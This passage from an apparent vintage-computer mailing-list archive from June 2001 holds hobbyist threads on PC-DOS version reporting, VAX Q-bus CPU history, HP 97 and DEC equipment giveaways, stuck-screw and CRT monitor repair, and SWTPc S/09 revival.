status? -- Jeffrey S. Sharp jss@ou.edu From jhellige at earthlink.net Sun Jun 24 09:15:24 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:46 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: References: Message-ID: >Actually, didn't IBM come out with PC-DOS 7.0, then 7.1, then 7.3, then >8.0, then Y2K patch it to make PC-DOS 2000? The PC-DOS 2000 that I have shows 'PC-DOS Version 7.0 Revision 1' if you do a 'VER' command. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From dbetz at xlisper.mv.com Sun Jun 24 09:45:23 2001 From: dbetz at xlisper.mv.com (David Betz) Date: Sun Feb 27 19:04:46 2005 Subject: HP 97 Calculator References: Message-ID: <183601c0fcbc$52e38eb0$6023010a@dbnh> I'm interested in the HP97 if someone hasn't already claimed it. ----- Original Message ----- From: "Don Maslin" To: Sent: Sunday, June 24, 2001 1:25 AM Subject: HP 97 Calculator > > Anyone interested in a HP 97 Calculator for the price of shipping? > Comes complete with wall-wart, and a (probably tired) but still usable > battery. > > Can't tell you for sure how it works as my direct Polish notation > doesn't seem to impress the reverse machine. I do think that the paper > tape drive has problems, though. > > Email me of list if you are interested. First come first served. > > - don > > > From cisin at xenosoft.com Sun Jun 24 11:01:37 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:46 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: Message-ID: On Sun, 24 Jun 2001, Jeff Hellige wrote: > The PC-DOS 2000 that I have shows 'PC-DOS Version 7.0 > Revision 1' if you do a 'VER' command. I don't have a copy of that one. If it would be convenient, could you check what funtion 30 returns? DEBUG A MOV AH, 30 INT 21 INT 3 G does AX show 0A07 ? -- Grumpy Ol' Fred cisin@xenosoft.com DogEars From thompson at mail.athenet.net Sun Jun 24 11:04:49 2001 From: thompson at mail.athenet.net (Paul Thompson) Date: Sun Feb 27 19:04:46 2005 Subject: Vaxstation VLC led codes In-Reply-To: Message-ID: Does anyone happen to know the meaning of the LED codes on the VLC? I am getting all LED's lit with only #2 not lit, no output to serial ports or DEC VRT monitor in any S3 switch position. I have the VLC owner's manual on the VAX documentation CDROM's, but the information in there is very incomplete and does not cover my LED error. Thanks Paul From Innfogra at aol.com Sun Jun 24 11:23:03 2001 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 19:04:46 2005 Subject: HP 97 Calculator Message-ID: <10f.198d8cf.28676de7@aol.com> In a message dated 6/23/01 10:34:27 PM Pacific Daylight Time, donm@cts.com writes: > Anyone interested in a HP 97 Calculator for the price of shipping? > Comes complete with wall-wart, and a (probably tired) but still usable > battery. > > Can't tell you for sure how it works as my direct Polish notation > doesn't seem to impress the reverse machine. I do think that the paper > tape drive has problems, though. > > Email me of list if you are interested. First come first served. > > - don > Hi Don; I am interested if it hasn't been spoken for. My off line email address is Whoagiii@aol.com. thanks for offering. Paxton Astoria, Oregon -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010624/38a71e74/attachment.html From dittman at dittman.net Sun Jun 24 11:27:23 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:46 2005 Subject: DECrepeater 90C In-Reply-To: <3B35A863.6925D12D@arrl.net> from "no" at Jun 24, 2001 03:44:19 AM Message-ID: <200106241627.f5OGRNx27231@narnia.int.dittman.net> > > Does anyone need a DECrepeater 90C? I have one that > > I'll give to anyone for the price of shipping. There > > is no power supply, and I don't know if it works, and > > I don't even know what it does, but my best guess is > > it is for linking together thinwire network devices. > > -- > > Eric Dittman > > dittman@dittman.net > > Darn, wish I'd waited a week. Just bought one on eBay last > week but it's also missing that power supply. Well, here's your chance to get a spare for the price of shipping. For the power supply all you need to do is get a compatible plug and wire it to a disk drive power connector, then you can use a small disk drive power supply for power. I could not find an exact match, but I noticed the PS/2 connector is almost correct. There is a pin missing, but it was a noconnect for the +5V-only units, so I broke off the plastic key inside the PS/2 connector and used it. It seems to work fine, but I only use it for testing. -- Eric Dittman dittman@dittman.net From jhellige at earthlink.net Sun Jun 24 12:19:59 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:46 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: References: Message-ID: Fred, Here's the screen: ----------------------------------------- Starting PC DOS... Connectix CD-ROM Driver, Version 2.0.1 IDECD001) MSCDEX Version 2.25 Copyright (C) IBM Corp. 1986-1994. All rights reserved. Drive E: = Driver IDECD001 unit 0 Virtual PC folder sharing v4.0 Copyright (C) 1997-2000 by Connectix Corp. Connectix (R) Mouse Driver Version 2.0 DOSKey installed. C:\>debug -A 2673:0100 MOV AH,30 2673:0102 INT 21 2673:0104 INT 3 2673:0105 -G AX=0007 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=2673 ES=2673 SS=2673 CS=2673 IP=0104 NV UP EI PL NZ NA PO NC 2673:0104 CC INT 3 - ------------------------------------------ As you can see, it's running on Virtual PC on my Mac. Other than the CD-ROM driver though it's standard PC-DOS and it's the one that Connectix bundles with the Virtual PC - DOS version of the emulator. The screen was just cut&pasted from DOS into Mac Eudora Jeff >On Sun, 24 Jun 2001, Jeff Hellige wrote: >> The PC-DOS 2000 that I have shows 'PC-DOS Version 7.0 >> Revision 1' if you do a 'VER' command. > >I don't have a copy of that one. If it would be convenient, could you >check what funtion 30 returns? > >DEBUG >A >MOV AH, 30 >INT 21 >INT 3 > >G > >does AX show 0A07 ? > >-- >Grumpy Ol' Fred cisin@xenosoft.com >DogEars -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From wmsmith at earthlink.net Sun Jun 24 13:12:49 2001 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 19:04:47 2005 Subject: Monitor Repair Help Needed References: Message-ID: <002601c0fcd9$47d33260$2d00f4d8@Smith.earthlink.net> I am in the process of swapping the display unit from my model 5322 IBM System 23 with the display unit from an IBM model 5324 monitor (this is the monitor that went with the second, non-all-in-one version of the System 23). But, I've run into a problem. I had no problem removing the display unit from the 5324. However, on the 5322 I can't budge the two mounting screws that attach the monitor to the chassis of the computer. They are threaded flat head slot driver screws that go through flat rectangular brass washers and then into threaded sheet metal. There is no corrosion that I can see. What I've tried so far is liquid wrench with the usual tapping. Still can't budge them and have done some damage to the screw head tops, although they are not yet rounded off. I have read through various techniques on web sites about removing stuck screws, but many of these (involving impact drivers, etc.) seem too severe for working on electronics. Also, as one might expect, the screws are not particularly accessible. One I can reach fairly easily (and could conceivably be drilled out) but the other I can't and requires a long driver (10") just to get to the screw. If I could get the more accessible screw out, then I would be able to pivot the display unit somewhat which would likely help break loose the other screw. Any ideas? From fernande at internet1.net Sun Jun 24 13:14:51 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:47 2005 Subject: Random change WTT: KA694 References: <5.0.0.25.2.20010624025230.01f7f9f0@209.185.79.193> Message-ID: <3B362E19.E908C82A@internet1.net> Hello Chuck, I didn't know such a cpu existed. Is it actually qbus? Some of the cpus I have seen on Ebay look like a Qbus card with a plastic connector rather than a card edge. I was under the impression that after the KA660? that DEC went to a design that wasn't really Qbus, for the cpu. I am just going by what I see on Ebay, Though. What's the real story on this? Chad Fernandez Michigan, USA Chuck McManis wrote: > > Hi Everyone, on my wish list is a KA694. This was the CPU in the VAX > 4000/705a and is basically the fastest Q-bus enabled VAX you could buy. It > bookmarks the series (which starts with the MicroVAX I). > > I've got other VAXen I could trade for it including 4000/200 or a VLC or a > 3800, etc. So if you are looking to round out your collection here's your > chance! :-) > > --Chuck From ard at p850ug1.demon.co.uk Sun Jun 24 13:16:44 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:47 2005 Subject: Monitor Repair Help Needed In-Reply-To: <002601c0fcd9$47d33260$2d00f4d8@Smith.earthlink.net> from "Wayne M. Smith" at Jun 24, 1 11:12:49 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1625 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010624/60735f43/attachment.ksh From cmcmanis at mcmanis.com Sun Jun 24 13:43:48 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:47 2005 Subject: Random change WTT: KA694 In-Reply-To: <3B362E19.E908C82A@internet1.net> References: <5.0.0.25.2.20010624025230.01f7f9f0@209.185.79.193> Message-ID: <5.0.0.25.2.20010624112616.0227e540@209.185.79.193> At 02:14 PM 6/24/01 -0400, you wrote: >Hello Chuck, > >I didn't know such a cpu existed. Is it actually qbus? Some of the >cpus I have seen on Ebay look like a Qbus card with a plastic connector >rather than a card edge. I was under the impression that after the >KA660? that DEC went to a design that wasn't really Qbus, for the cpu. >I am just going by what I see on Ebay, Though. What's the real story on >this? Hi Chad, In the 4000/300 DEC decided to make a "new kind" of Q-bus box, one where the CPU was upgradable again. In the early MicroVAXen the CPU was a single card, memory was a single card(s), disk interfaces, and then ethernet. Since the Q-bus is limited to about 3Mbytes/sec that set a limit on the I/O performance of the machine. With the KA640 DEC put ethernet, disk I/O (DSSI), and memory on the same card. This gave them a direct disk channel (4Mbytes/second), ethernet not on the bus (saves interrupts and bus latency) and some local memory. I did not work as well as they would have hoped apparently. But the ultimate expression of this idea was the KA660 which used Q-bus "fingers" had only DSSI and Ethernet on the CPU card and pushed the memory bus that ran over a 50 pin ribbon cable to its limit. For the 4000/300 they knew 64bit wide memory was going to help them get performance gains and they knew that leaving the processor on the Qbus meant they had to connect things with ribbon cables that could have easily (and less expensively) been connected on the backplane. So a new bus was invented (I don't know if it is named or not) and the "CPU Box" was born. This borrowed from the mainframe VAXen of the time that had the CPU/memory/bus interconnects in one box, and then either BI, XMI, or even UNIBUS boxes hanging off of that. In the 4000/300, 400, 500, 600, 700, 700a, 705, and 705a. The backplane consists of about 5 "slots" on the right edge that hold the CPU / memory / DSSI interconnects and to the left of the CPU is the Q-bus. The KA670,-675,-680,-690,-691,-692,-693,and -694 CPUs use this bus. (note they could not go to KA7xx because that would interfere with the module numbers of the 700 series processors :-) Everything from the KA675 were variations on the NVAX implementation of the VAX architecture (as is the 4000/90, 4000/105, etc) So you're correct in that the back plane connector on the KA694 looks almost like a eurocard connector but it actually plugs into a backplane that has Q-bus slots to the left of the CPU. So the KA660 is the fastest "true Q-bus" processor and the KA694 is the fastest "integrated Q-bus" processor. The 4000/105 has a desktop enclosure and actually brings the Qbus out to a pair of connectors on the back of the box, These connect with cables to a B215F or B213F expansion box where the first card in that box is the Q-bus extender. I don't consider the 105 to be an integrated Q-bus processor like I do the 4000/705a. --Chuck From dogas at bellsouth.net Sun Jun 24 13:54:12 2001 From: dogas at bellsouth.net (Mike) Date: Sun Feb 27 19:04:47 2005 Subject: SWTPc S/09 is alive References: Message-ID: <001301c0fcdf$109daf90$c319d7d1@DOMAIN> Congrats to Jeff and Eric > Signal Broadcasting DOS, does anyone have a SSB DCB-4 or DCB-4A > they'd be willing to part with? Unfortunately, I had to give his > back > > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > From rigdonj at intellistar.net Sun Jun 24 14:11:17 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:47 2005 Subject: O/T Spark Gap Transmitters was: Interest in UUCP? In-Reply-To: Message-ID: <5.1.0.14.1.20010624150810.00a33900@mailhost.intellistar.net> At 10:16 AM 6/22/01 -0500, you wrote: >**WARNING** >Possible humor or not! :) >I thought that the FCC was being outsourced to the lowest bidder and that it >was a company in former Yugoslavia that was a large campaign contributor. Naw. That was only during the Clinton administration. Under the Bush administration, the FCC is under the "guidance" of the US radio and TV industry. Joe >Mike >mmcfadden@cmh.edu From cisin at xenosoft.com Sun Jun 24 14:14:43 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:47 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: Message-ID: THANK YOU! > >> The PC-DOS 2000 that I have shows 'PC-DOS Version 7.0 > >> Revision 1' if you do a 'VER' command. On Sun, 24 Jun 2001, Jeff Hellige wrote: > Here's the screen: > AX=0007 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 So, internally it thinks that it is version 7.00 > AX=0007 ^^ 7 point > AX=0007 ^^ 00 IBM has had some versions that misreport vernum, such as 4.01 that is internally stored as 4.00 -- Grumpy Ol' Fred cisin@xenosoft.com From dogas at bellsouth.net Sun Jun 24 14:14:43 2001 From: dogas at bellsouth.net (Mike) Date: Sun Feb 27 19:04:47 2005 Subject: SWTPc S/09 is alive References: Message-ID: <004d01c0fce1$ed55acb0$c319d7d1@DOMAIN> Congrats on the revival guys! I'd like to hear some more of the details you guys faced getting it/them going again. > Signal Broadcasting DOS, does anyone have a SSB DCB-4 or DCB-4A > they'd be willing to part with? Unfortunately, I had to give his > back > I have an extra SSB DCB-4E. It's the Micromodule/EXORcisor bus version but you might be able to hack it in there that you can have if you cant find a 4 or 4A. ;) - Mike: dogas@bellsouth.net From foo at siconic.com Sun Jun 24 13:29:56 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:47 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <993391909.3b35f525636a8@email.ou.edu> Message-ID: On Sun, 24 Jun 2001, Jeffrey S. Sharp wrote: > Quoting Sellam Ismail : > > so far being geeky and keeping old computer stuff around does not > > necessarily lead to excessive sexual encounters (I must admit to > > being an exception ;) > > Are you sure that isn't becuase of your "International Man of > Intrigue and Danger" status? I think it's the Altair 8800. Get your hands on one and women will beat a path to your door (that's why they always commanded such a premium on eBay ;) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Sun Jun 24 13:34:19 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:47 2005 Subject: Monitor Repair Help Needed In-Reply-To: Message-ID: On Sun, 24 Jun 2001, Tony Duell wrote: > 2) If it's not screwed through or into plastic, try heating the screw > with a (large) soldering iron, and then undoing it Wouldn't you want to let it cool first, or cool it very quickly with a blast of compressed air or something? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From jhellige at earthlink.net Sun Jun 24 14:53:26 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:47 2005 Subject: Monitor Repair Help Needed In-Reply-To: References: Message-ID: Here's the URL to a guy auctioning off 56 boards which he says belong to a VAX 11/785. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1249462025 Thought some of you DEC/VAX users might find it of interest. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From jhellige at earthlink.net Sun Jun 24 15:11:40 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:47 2005 Subject: SWTPc S/09 is alive In-Reply-To: <004d01c0fce1$ed55acb0$c319d7d1@DOMAIN> References: <004d01c0fce1$ed55acb0$c319d7d1@DOMAIN> Message-ID: >Congrats on the revival guys! I'd like to hear some more of the details >you guys faced getting it/them going again. For my machine, it ended up being something pretty simple. On the S/09, all of the baud rate generation stuff was moved off of the CPU board onto the MP-ID bridgecard, along with all of the addressing logic from the backplane. There are a number of different jumpers which, in various combinations, control the baud rate generators but I didn't have any of the docs for the MP-ID. It appeared that everything was set for 9600 baud, but a few days ago I finally got the docs for the MP-ID and it showed that the jumper that controlled the low/hi baud rate line was set for Hi, for 38400, vice low, for 9600. Yesterday we used Eric's Televideo hooked up to both machines..today I used my Altos III to repeat the tests we ran from the monitor program. As Eric mentioned, there are a number of interesting differences between the machines, though externally they appear identical. Among the more interesting things is that mine has a totally passive backplane while his has various logic onboard, this logic being moved to the MP-ID bridgecard on my system. Also, according to scans of SWTPc catalog pages, it shows that my machine is capable of addressing up to 768k while the 69/K is shown as being able to address up to 56k, though the MP-09 cpu board is shown as being able to address up to 384k. Both of our machines had 56k installed, though nearly every board in mine had various modifications and jumper wires whereas his tended to be untouched. Though this is easily changed, his also had just the basic monitor ROM while mine previously had two additional ROMs installed to support OS/9, as well as modifications to the CPU board to better support FLEX/UNIFLEX. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From dittman at dittman.net Sun Jun 24 15:32:33 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:47 2005 Subject: Random change WTT: KA694 In-Reply-To: <5.0.0.25.2.20010624112616.0227e540@209.185.79.193> from "Chuck McManis" at Jun 24, 2001 11:43:48 AM Message-ID: <200106242032.f5OKWX527856@narnia.int.dittman.net> > In the 4000/300 DEC decided to make a "new kind" of Q-bus box, one where > the CPU was upgradable again. And if anyone has one of these types of QBus boxes for sale, I'm interested (even a box without a CPU or memory). -- Eric Dittman dittman@dittman.net From fernande at internet1.net Sun Jun 24 16:12:03 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:47 2005 Subject: Random change WTT: KA694 References: <5.0.0.25.2.20010624025230.01f7f9f0@209.185.79.193> <5.0.0.25.2.20010624112616.0227e540@209.185.79.193> Message-ID: <3B3657A3.A39FA8A4@internet1.net> I see that explains a lot. I'll have to make a new mail folder for my "Vax info" :-) Chad Chuck McManis wrote: > Hi Chad, > > In the 4000/300 DEC decided to make a "new kind" of Q-bus box, one where > the CPU was upgradable again. > > In the early MicroVAXen the CPU was a single card, memory was a single > card(s), disk interfaces, and then ethernet. Since the Q-bus is limited to > about 3Mbytes/sec that set a limit on the I/O performance of the machine. > With the KA640 DEC put ethernet, disk I/O (DSSI), and memory on the same > card. This gave them a direct disk channel (4Mbytes/second), ethernet not > on the bus (saves interrupts and bus latency) and some local memory. I did > not work as well as they would have hoped apparently. But the ultimate > expression of this idea was the KA660 which used Q-bus "fingers" had only > DSSI and Ethernet on the CPU card and pushed the memory bus that ran over a > 50 pin ribbon cable to its limit. > > For the 4000/300 they knew 64bit wide memory was going to help them get > performance gains and they knew that leaving the processor on the Qbus > meant they had to connect things with ribbon cables that could have easily > (and less expensively) been connected on the backplane. So a new bus was > invented (I don't know if it is named or not) and the "CPU Box" was born. > This borrowed from the mainframe VAXen of the time that had the > CPU/memory/bus interconnects in one box, and then either BI, XMI, or even > UNIBUS boxes hanging off of that. In the 4000/300, 400, 500, 600, 700, > 700a, 705, and 705a. The backplane consists of about 5 "slots" on the right > edge that hold the CPU / memory / DSSI interconnects and to the left of the > CPU is the Q-bus. The KA670,-675,-680,-690,-691,-692,-693,and -694 CPUs use > this bus. (note they could not go to KA7xx because that would interfere > with the module numbers of the 700 series processors :-) Everything from > the KA675 were variations on the NVAX implementation of the VAX > architecture (as is the 4000/90, 4000/105, etc) > > So you're correct in that the back plane connector on the KA694 looks > almost like a eurocard connector but it actually plugs into a backplane > that has Q-bus slots to the left of the CPU. > > So the KA660 is the fastest "true Q-bus" processor and the KA694 is the > fastest "integrated Q-bus" processor. The 4000/105 has a desktop enclosure > and actually brings the Qbus out to a pair of connectors on the back of the > box, These connect with cables to a B215F or B213F expansion box where the > first card in that box is the Q-bus extender. I don't consider the 105 to > be an integrated Q-bus processor like I do the 4000/705a. > > --Chuck From wmsmith at earthlink.net Sun Jun 24 18:19:43 2001 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 19:04:47 2005 Subject: Monitor Repair Help Needed References: Message-ID: <003a01c0fd04$271ecb80$2d00f4d8@Smith.earthlink.net> > > > > I am in the process of swapping the display unit from > > my model 5322 IBM System 23 with the display unit from > > Just out of curiousity, what's wrong with the existing monitor? It may be > a simple fix.... > Horrible screen burn -- the computer was used in an industrial setting and always displayed the same screen. From wmsmith at earthlink.net Sun Jun 24 18:35:42 2001 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 19:04:47 2005 Subject: Monitor Repair Help Needed References: Message-ID: <005601c0fd06$62f61760$2d00f4d8@Smith.earthlink.net> > Sometimes it helps to remove other parts to be able to get to the screws > more easily. If the screws holding a chassis to the cabinet are stuck it > sometimes helps to remove all the PCBs, the CRT, transformers, etc first, > if at all possible. This may seem like a lot of work, but it isn't > normally that bad. > > -tony > Thanks for your useful suggestions. In a way your last suggestion is what I ended up doing. After trying some of your other suggestions, and just before trying the soldering iron, I took a chisel and whacked the rectangular brass washer at the centerline of the screw. It split, as brass is inclined to do, and with a little prying and hitting I was able to remove it from underneath the screw. The screw then turned freely. Once the first screw was out I was able to pivot the display unit around the other screw which loosened it sufficiently to allow removal. The new display works great, except that I'd like to get a bit more vertical space -- I've got about 5" and the spec says it should be 6.1". I've turned the vertical potentiometer on the board up as far as it will go. My maintenance manual says that the next step is to move the deflection yoke toward the CRT. However, the factory, apparently, fixed the yoke in position filling the space between the top of the CRT side of the yoke and the CRT with some sort of opaque rubbery goop, which is still somewhat pliable. (In fact, every setting on this display was glued into place in some manner - I had to cut through some glue just to rotate the vertical potentiometer). The display that I removed also had the same goop on it. It seems that if I spent an hour or two with an exacto knife I could remove most of the goop. Anyone ever done anything like this or have any suggestions? (Yes, I know, keep away from that anode!) From ard at p850ug1.demon.co.uk Sun Jun 24 18:33:10 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:47 2005 Subject: Monitor Repair Help Needed In-Reply-To: <003a01c0fd04$271ecb80$2d00f4d8@Smith.earthlink.net> from "Wayne M. Smith" at Jun 24, 1 04:19:43 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 303 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010625/8e381008/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jun 24 18:39:24 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:47 2005 Subject: Monitor Repair Help Needed In-Reply-To: <005601c0fd06$62f61760$2d00f4d8@Smith.earthlink.net> from "Wayne M. Smith" at Jun 24, 1 04:35:42 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3246 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010625/58a920a3/attachment.ksh From jss at ou.edu Sun Jun 24 18:52:19 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:47 2005 Subject: Anyone know Will Jenning's status? Message-ID: <993426739.3b367d33966f8@email.ou.edu> I was having an important conversation with Will, but he seems to have disappeared from the net. Does anyone on the list know his status? Thanks. -- Jeffrey S. Sharp jss@ou.edu From chobbs at socal.rr.com Sun Jun 24 18:46:11 2001 From: chobbs at socal.rr.com (charles hobbs) Date: Sun Feb 27 19:04:47 2005 Subject: Trip to London, want BBC Micro stuff... References: <993391909.3b35f525636a8@email.ou.edu> Message-ID: <3B367BC3.FCC57124@socal.rr.com> This fall (Sept 29-Oct 3) I'll be in London...while I'm there, I'd like to pick up some BBC Micro stuff (disk drives, software, etc. would be nice). I have one of the BBC Micro B machines, converted to use American current (but otherwise unchanged). I know there are issues about charity shops selling electronic equipment, though... Thanks in advance! From donm at cts.com Sun Jun 24 19:34:04 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:47 2005 Subject: HP 97 Calculator In-Reply-To: Message-ID: > > Anyone interested in a HP 97 Calculator for the price of shipping? > > Comes complete with wall-wart, and a (probably tired) but still usable > > battery. Sellam is the winner of the HP 97 Calculator by a margin of about 5-hours. Nightowl! Thanks for all of your responses. - don Sellam, you are still on Rosewood? From vance at ikickass.org Sun Jun 24 19:40:55 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:47 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: Message-ID: I have PC-DOS 7.3 right here. Peace... Sridhar On Sun, 24 Jun 2001, Jeff Hellige wrote: > >Actually, didn't IBM come out with PC-DOS 7.0, then 7.1, then 7.3, then > >8.0, then Y2K patch it to make PC-DOS 2000? > > The PC-DOS 2000 that I have shows 'PC-DOS Version 7.0 > Revision 1' if you do a 'VER' command. > > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > From chris at mainecoon.com Sun Jun 24 19:42:35 2001 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 19:04:47 2005 Subject: Anyone know Will Jenning's status? In-Reply-To: <993426739.3b367d33966f8@email.ou.edu> Message-ID: I received a message from him earlier in the week suggesting that he was on a road trip to the south bay/SJ. He never did reply regarding the prospect of collecting some gear, so I've assumed that he lacks email access while on the road. -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From vance at ikickass.org Sun Jun 24 19:51:06 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:47 2005 Subject: Random change WTT: KA694 In-Reply-To: <200106242032.f5OKWX527856@narnia.int.dittman.net> Message-ID: Yeah, me too. I need 4. Peace... Sridhar On Sun, 24 Jun 2001, Eric Dittman wrote: > > In the 4000/300 DEC decided to make a "new kind" of Q-bus box, one where > > the CPU was upgradable again. > > And if anyone has one of these types of QBus boxes for sale, I'm > interested (even a box without a CPU or memory). > -- > Eric Dittman > dittman@dittman.net > From wmsmith at earthlink.net Sun Jun 24 20:06:56 2001 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 19:04:47 2005 Subject: Monitor Repair Help Needed References: Message-ID: <006201c0fd13$21dfe0a0$2d00f4d8@Smith.earthlink.net> > Hmmm... I have a major objection to 'whacking' anything near a CRT.... > Not only the risk of CRT inmplosion, but even if you don't crack the CRT > you can certainly knock the electrodes out of alignment. > This was the one that was going in the trash bin. In any event, the mounting screws were well back and below the CRT. This thing sits in a heavy steel frame that is a field replaceable. > > In general, if something isn't working properly, the last thing to do is > tweak the adjustments. My guess is that this did once have enough > height, and the reason the height has decreased is due to component failure. > I didn't know it wasn't working properly until I turned the vertical all the way up given that I thought the problem could be rooted in the fact that I was moving the tube from one type of system to another. > Look for dried-up electrolytic capacitors round the vertical deflection > circuit. If it uses the well-known TDA1170 chip, then there are a couple > of capacitors hooked up to that chip that can cause this problem. > I have saved the old unit. Perhaps the boards can be swapped. (I know, you're against swapping, but that's all some of us cavemen are capable of.) > Be careful cutting the stuff off near the yoke (or other wirewound > components) -- it's easy to damage the insulation. I normally cut it away > roughly in the centre of the blob (to free the yoke), then remove the > yoke completely, then peel off the remains of the gunge from the yoke and > the CRT flare. On the other hand, you shouldn't need to reposition the > yoke. this monitor worked once, with the yoke in that position. The yoke > hasn't moved, so the fault must be due to other failures. > Thanks for the advice. -W From vaxcat at retrocomputing.com Sun Jun 24 20:10:35 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:47 2005 Subject: Weekend Trip to Chicago - Haul Report In-Reply-To: Message-ID: Well, I travelled to the great city of Chicago this weekend on a hardware retrieval trip...the Windy City, Chi Town. I arrived in Naperville around 12:30 yesterday and immediately began the trek to Indiana to meet Tom Uban, who recently posted that he had some free Sun hardware for pickup. I arrived in his town, about 60 miles away, *3* hours later! The traffic around Chicago is absolutely unbelievable!!! There I picked up: Sun 3/60 Sun 3/110 External hard disk for above with some version of SunOS 9 slot (expandable to 21) VME rack with 5 Sun 3/110 OEM boards Fairly voluminous brand new Sun 2/3/4 documentation Keyboards for Suns Mice, Mouse Pads Ethernet transceivers 19" color monitor (Sony) 2 17" monochrome Sun displays Mac IIsi Apple CD 300 (looking for caddies for this) Some sort of floptical drive for Macs Mac Monitor and got to meet some VERY nice kitties, which I always enjoy. I also got to see his 11/45 and Imlac, which are deeply cool. I also saw the largest piece of core I've ever seen...a CDC unit approximately 18" by 36". It was huge! I then returned to Chicago, tried a different route and ended up on 94 and 290 in Saturday traffic. Another *3* hours back to Naperville. I never did get over to pick up Greg Linder's (posted here a few days ago) AT&T 3b1. Many apologies to Greg! I tried, I kept getting stuck in traffic, my cell phone wouldn't work and I ended up literally falling down on the floor at the place I was staying and falling immediately asleep. I've just moved the haul into the basement and MAN is it cool! BTW, for those who don't know, I've become fed up with Ebay so these items will never be appearing there. =) They're going to live with me forever as I love Suns. A VME rack of Suns is a lovely site to behold. Anthony Clifton Des Moines, Iowa From pechter at bg-tc-ppp1528.monmouth.com Sun Jun 24 20:12:16 2001 From: pechter at bg-tc-ppp1528.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:47 2005 Subject: Research Machines Nimbus PC1 In-Reply-To: from "Merle K. Peirce" at "Jun 24, 2001 09:08:22 am" Message-ID: <200106250112.f5P1CGJ38215@bg-tc-ppp1528.monmouth.com> > That's a bit of an involved connection, isn't it? Would anyone on the > list have a front panel for a 3210? That seems to be about the only > thing missing, other than a P/E terminal. Didn't see to many of them around Concurrent. I assume you're talking about a real toggle switch front panel with 7 segment displays and such. Most stuff like the 3210's had the limited function (pdp 11/34 -like) boot, reset stuff on the top of the cabinet and no real programmers front panel. Now the 7/32's and 8/32's had real front panels. Bill From wmsmith at earthlink.net Sun Jun 24 20:25:03 2001 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 19:04:47 2005 Subject: Monitor Repair Help Needed References: Message-ID: 